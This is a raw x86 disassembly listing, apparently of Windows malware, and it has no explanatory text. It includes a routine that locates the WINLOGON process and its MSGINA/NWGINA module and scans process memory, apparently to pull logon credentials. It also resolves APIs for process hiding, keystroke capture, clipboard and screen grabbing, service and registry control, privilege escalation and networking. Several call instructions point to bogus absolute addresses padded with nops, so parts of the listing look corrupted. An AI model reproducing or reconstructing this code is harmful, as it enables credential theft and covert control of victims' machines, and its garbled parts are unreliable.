sub_409037	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_409209	proc near		; CODE XREF: sub_409037+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4240EC
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_4240E8
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_43F314
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2700000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_43F314
		test	eax, eax
		jnz	short loc_4092F6
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4092F6
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4092F6

loc_409292:				; CODE XREF: sub_409209+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4092E9
		push	0
		push	0
		call	dword_43F308
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_43F518
		test	eax, eax
		jnz	short loc_4092DA
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40930E

loc_4092DA:				; CODE XREF: sub_409209+AAj
		test	edi, edi
		jz	short loc_4092E5
		push	edi
		call	dword_43F310

loc_4092E5:				; CODE XREF: sub_409209+D3j
		mov	eax, [esp+28h+var_10]

loc_4092E9:				; CODE XREF: sub_409209+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_409292

loc_4092F6:				; CODE XREF: sub_409209+6Dj
					; sub_409209+7Aj ...
		xor	edi, edi

loc_4092F8:				; CODE XREF: sub_409209+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 2700000h
		nop
		mov	eax, edi

loc_409306:				; CODE XREF: sub_409209+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------

loc_40930E:				; CODE XREF: sub_409209+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_409377
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax

loc_409324:				; CODE XREF: sub_409209+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40938B
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409369
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax

loc_409369:				; CODE XREF: sub_409209+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_409324

loc_409377:				; CODE XREF: sub_409209+10Fj
		test	edi, edi
		jz	short loc_409382
		push	edi
		call	dword_43F310

loc_409382:				; CODE XREF: sub_409209+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4092F8
; ---------------------------------------------------------------------------

loc_40938B:				; CODE XREF: sub_409209+13Cj
		xor	eax, eax
		jmp	loc_409306
sub_409209	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409392	proc near		; CODE XREF: sub_409037+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 2720810h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_4093BB
		xor	eax, eax
		jmp	loc_409536
; ---------------------------------------------------------------------------

loc_4093BB:				; CODE XREF: sub_409392+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27202CBh
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_4240EC
		push	8
		call	esi
		mov	edi, dword_4240E8
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_4240F4
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_40940B
		xor	esi, esi
		jmp	loc_409529
; ---------------------------------------------------------------------------

loc_40940B:				; CODE XREF: sub_409392+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 2710C73h
		test	eax, eax
		jz	loc_409518
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_409518
		test	[ebp+var_2B], 1
		jnz	loc_409518
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_409518

loc_40946E:				; CODE XREF: sub_409392+112j
		push	edi
		push	offset dword_43E308
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409496
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_43EB08
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4094A6

loc_409496:				; CODE XREF: sub_409392+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_409518
		jmp	short loc_40946E
; ---------------------------------------------------------------------------

loc_4094A6:				; CODE XREF: sub_409392+102j
		test	edi, edi
		jz	short loc_409518
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 26A0657h
		test	eax, eax
		jz	short loc_4094E1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	near ptr 26A0000h
		nop
		test	eax, eax
		jz	short loc_4094E1
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax

loc_4094E1:				; CODE XREF: sub_409392+12Bj
					; sub_409392+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_43F52C, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_43F524, eax
		mov	dword_43F528, edi

loc_409518:				; CODE XREF: sub_409392+90j
					; sub_409392+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2700000h
		mov	esi, [ebp+var_10]

loc_409529:				; CODE XREF: sub_409392+74j
		push	[ebp+var_4]
		nop
		call	near ptr 26309DCh
		pop	edi
		mov	eax, esi
		pop	ebx

loc_409536:				; CODE XREF: sub_409392+24j
		pop	esi
		leave
		retn
sub_409392	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409539	proc near		; CODE XREF: sub_409037:loc_40912Fp

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 2720810h
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_40962B
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 27202CBh
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_409622
		mov	edi, dword_4240EC

loc_409584:				; CODE XREF: sub_409539+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 2710C73h
		test	eax, eax
		jz	short loc_409610
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_409616
		test	[ebp+var_13], 1
		jnz	short loc_409616
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 2710000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 2720000h
		nop
		test	eax, eax
		jz	short loc_409602
		push	offset dword_43E308
		push	esi
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409602
		lea	eax, [esi+400h]
		push	offset dword_43EB08
		push	eax
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409632

loc_409602:				; CODE XREF: sub_409539+9Fj
					; sub_409539+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 2700000h
		jmp	short loc_409616
; ---------------------------------------------------------------------------

loc_409610:				; CODE XREF: sub_409539+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax

loc_409616:				; CODE XREF: sub_409539+71j
					; sub_409539+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_409584

loc_409622:				; CODE XREF: sub_409539+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 26309DCh

loc_40962B:				; CODE XREF: sub_409539+1Ej
		xor	eax, eax

loc_40962D:				; CODE XREF: sub_409539+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_409632:				; CODE XREF: sub_409539+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_43F524, ebx
		mov	dword_43F528, eax
		cmp	[eax], cl
		jnz	short loc_409654
		cmp	[eax+1], cl
		jz	short loc_40965C

loc_409654:				; CODE XREF: sub_409539+114j
					; sub_409539+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_409654

loc_40965C:				; CODE XREF: sub_409539+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 26309DCh
		push	1
		pop	eax
		jmp	short loc_40962D
sub_409539	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40966F	proc near		; CODE XREF: sub_409037+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_43F520
		push	esi
		mov	esi, dword_4240EC
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		call	near ptr 2710000h
		nop
		mov	ecx, dword_43F520
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_43F528
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_43F52C
		push	eax
		call	dword_43F30C
		push	[ebp+var_4]
		mov	edi, offset dword_43F318
		push	offset dword_43E308
		push	offset dword_43EB08
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	200h
		push	edi
		call	sub_41782A
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2700000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40966F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409706	proc near		; CODE XREF: sub_409037:loc_409173p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_43F520
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 2710C13h
		push	eax
		nop
		call	near ptr 2710000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_43EB08
		mov	edi, 200h
		mov	esi, offset dword_43E108

loc_40974C:				; CODE XREF: sub_409706+FAj
		mov	eax, dword_43F520
		add	eax, eax
		push	eax
		push	dword_43F528
		push	[ebp+var_14]
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_43F30C
		mov	eax, dword_43F520
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4097C1

loc_409789:				; CODE XREF: sub_409706+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_4097AD
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_4097AD
		cmp	dl, 20h
		jnb	short loc_4097A7
		and	[ebp+var_8], 0

loc_4097A7:				; CODE XREF: sub_409706+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_4097B1

loc_4097AD:				; CODE XREF: sub_409706+90j
					; sub_409706+96j
		and	[ebp+var_8], 0

loc_4097B1:				; CODE XREF: sub_409706+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_409789
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE

loc_4097C1:				; CODE XREF: sub_409706+81j
		push	[ebp+var_14]
		push	offset dword_43E308
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 1Ch
		jmp	short loc_4097F6
; ---------------------------------------------------------------------------

loc_4097DE:				; CODE XREF: sub_409706+87j
					; sub_409706+B9j
		push	offset dword_43E308
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CE2C
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 18h

loc_4097F6:				; CODE XREF: sub_409706+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_40974C
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 2710C13h
		push	eax
		call	near ptr 2700000h
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409706	endp


; =============== S U B	R O U T	I N E =======================================



sub_40981F	proc near		; CODE XREF: sub_40E6A9+48p
		push	ebx
		push	ebp
		mov	ebp, dword_424100
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4240DC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_40993F
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_43F714, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_43F688, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_43F66C, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_43F588, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_43F534, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_43F564, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_43F5D8, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_43F6C8, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_43F724, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_43F594, eax
		call	esi
		cmp	dword_43F714, ebx
		mov	dword_43F57C, eax
		jz	short loc_40991D
		cmp	dword_43F688, ebx
		jz	short loc_40991D
		cmp	dword_43F66C, ebx
		jz	short loc_40991D
		cmp	dword_43F588, ebx
		jz	short loc_40991D
		cmp	dword_43F564, ebx
		jz	short loc_40991D
		cmp	dword_43F5D8, ebx
		jz	short loc_40991D
		cmp	dword_43F6C8, ebx
		jz	short loc_40991D
		cmp	dword_43F724, ebx
		jz	short loc_40991D
		cmp	dword_43F594, ebx
		jz	short loc_40991D
		cmp	eax, ebx
		jnz	short loc_409927

loc_40991D:				; CODE XREF: sub_40981F+B8j
					; sub_40981F+C0j ...
		mov	dword_43F728, 1

loc_409927:				; CODE XREF: sub_40981F+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43F6A0, eax
		jz	short loc_409954
		push	1
		push	ebx
		call	eax
		jmp	short loc_409954
; ---------------------------------------------------------------------------

loc_40993F:				; CODE XREF: sub_40981F+1Dj
		nop
		call	near ptr 2650C45h
		mov	dword_43F72C, eax
		mov	dword_43F728, 1

loc_409954:				; CODE XREF: sub_40981F+117j
					; sub_40981F+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26F0825h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409A69
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_43F6C4, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_43F674, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_43F608, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_43F718, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_43F638, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_43F658, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_43F6BC, eax
		call	esi
		cmp	dword_43F6C4, ebx
		mov	dword_43F5B0, eax
		jz	short loc_409A0D
		cmp	dword_43F674, ebx
		jz	short loc_409A0D
		cmp	dword_43F608, ebx
		jz	short loc_409A0D
		cmp	dword_43F718, ebx
		jz	short loc_409A0D
		cmp	dword_43F638, ebx
		jz	short loc_409A0D
		cmp	dword_43F658, ebx
		jz	short loc_409A0D
		cmp	dword_43F6BC, ebx
		jz	short loc_409A0D
		cmp	eax, ebx
		jnz	short loc_409A17

loc_409A0D:				; CODE XREF: sub_40981F+1B8j
					; sub_40981F+1C0j ...
		mov	dword_43F730, 1

loc_409A17:				; CODE XREF: sub_40981F+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_43F634, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_43F548, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_43F604, eax
		call	esi
		cmp	dword_43F634, ebx
		mov	dword_43F5F0, eax
		jz	short loc_409A74
		cmp	dword_43F548, ebx
		jz	short loc_409A74
		cmp	dword_43F604, ebx
		jz	short loc_409A74
		cmp	eax, ebx
		jnz	short loc_409A7E
		jmp	short loc_409A74
; ---------------------------------------------------------------------------

loc_409A69:				; CODE XREF: sub_40981F+144j
		call	near ptr 2650C45h
		nop
		mov	dword_43F734, eax

loc_409A74:				; CODE XREF: sub_40981F+232j
					; sub_40981F+23Aj ...
		mov	dword_43F730, 1

loc_409A7E:				; CODE XREF: sub_40981F+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409C19
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_43F6D8, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_43F61C, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_43F68C, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_43F574, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_43F5D4, eax
		call	esi
		cmp	dword_43F6D8, ebx
		mov	dword_43F644, eax
		jz	short loc_409B09
		cmp	dword_43F61C, ebx
		jz	short loc_409B09
		cmp	dword_43F68C, ebx
		jz	short loc_409B09
		cmp	dword_43F574, ebx
		jz	short loc_409B09
		cmp	dword_43F5D4, ebx
		jz	short loc_409B09
		cmp	eax, ebx
		jnz	short loc_409B13

loc_409B09:				; CODE XREF: sub_40981F+2C4j
					; sub_40981F+2CCj ...
		mov	dword_43F738, 1

loc_409B13:				; CODE XREF: sub_40981F+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_43F64C, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_43F624, eax
		call	esi
		cmp	dword_43F64C, ebx
		mov	dword_43F6D4, eax
		jz	short loc_409B4E
		cmp	dword_43F624, ebx
		jz	short loc_409B4E
		cmp	eax, ebx
		jnz	short loc_409B58

loc_409B4E:				; CODE XREF: sub_40981F+321j
					; sub_40981F+329j
		mov	dword_43F738, 1

loc_409B58:				; CODE XREF: sub_40981F+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_43F65C, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_43F550, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_43F558, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_43F5B8, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_43F5BC, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_43F56C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_43F628, eax
		call	esi
		cmp	dword_43F65C, ebx
		mov	dword_43F55C, eax
		jz	short loc_409BFC
		cmp	dword_43F550, ebx
		jz	short loc_409BFC
		cmp	dword_43F558, ebx
		jz	short loc_409BFC
		cmp	dword_43F5B8, ebx
		jz	short loc_409BFC
		cmp	dword_43F5BC, ebx
		jz	short loc_409BFC
		cmp	dword_43F56C, ebx
		jz	short loc_409BFC
		cmp	dword_43F628, ebx
		jz	short loc_409BFC
		cmp	eax, ebx
		jnz	short loc_409C06

loc_409BFC:				; CODE XREF: sub_40981F+3A7j
					; sub_40981F+3AFj ...
		mov	dword_43F738, 1

loc_409C06:				; CODE XREF: sub_40981F+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43F554, eax
		jnz	short loc_409C2E
		jmp	short loc_409C24
; ---------------------------------------------------------------------------

loc_409C19:				; CODE XREF: sub_40981F+26Aj
		nop
		call	near ptr 2650C45h
		mov	dword_43F73C, eax

loc_409C24:				; CODE XREF: sub_40981F+3F8j
		mov	dword_43F738, 1

loc_409C2E:				; CODE XREF: sub_40981F+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409CFA
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_43F654, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_43F6AC, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_43F6B4, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_43F670, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_43F598, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_43F544, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_43F6B0, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_43F530, eax
		call	esi
		cmp	dword_43F654, ebx
		mov	dword_43F5CC, eax
		jz	short loc_409D05
		cmp	dword_43F6AC, ebx
		jz	short loc_409D05
		cmp	dword_43F6B4, ebx
		jz	short loc_409D05
		cmp	dword_43F670, ebx
		jz	short loc_409D05
		cmp	dword_43F598, ebx
		jz	short loc_409D05
		cmp	dword_43F544, ebx
		jz	short loc_409D05
		cmp	dword_43F6B0, ebx
		jz	short loc_409D05
		cmp	dword_43F530, ebx
		jz	short loc_409D05
		cmp	eax, ebx
		jnz	short loc_409D0F
		jmp	short loc_409D05
; ---------------------------------------------------------------------------

loc_409CFA:				; CODE XREF: sub_40981F+41Aj
		call	near ptr 2650C45h
		nop
		mov	dword_43F744, eax

loc_409D05:				; CODE XREF: sub_40981F+49Bj
					; sub_40981F+4A3j ...
		mov	dword_43F740, 1

loc_409D0F:				; CODE XREF: sub_40981F+4D7j
		mov	ebp, dword_4240E0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409FCB
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_43F5E0, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_43F70C, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_43F584, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_43F560, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_43F614, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_43F5FC, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_43F5C8, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_43F6E8, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_43F704, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_43F610, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_43F6F4, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_43F6A8, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_43F668, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_43F664, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_43F5A4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_43F59C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_43F6B8, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_43F6CC, eax
		call	esi
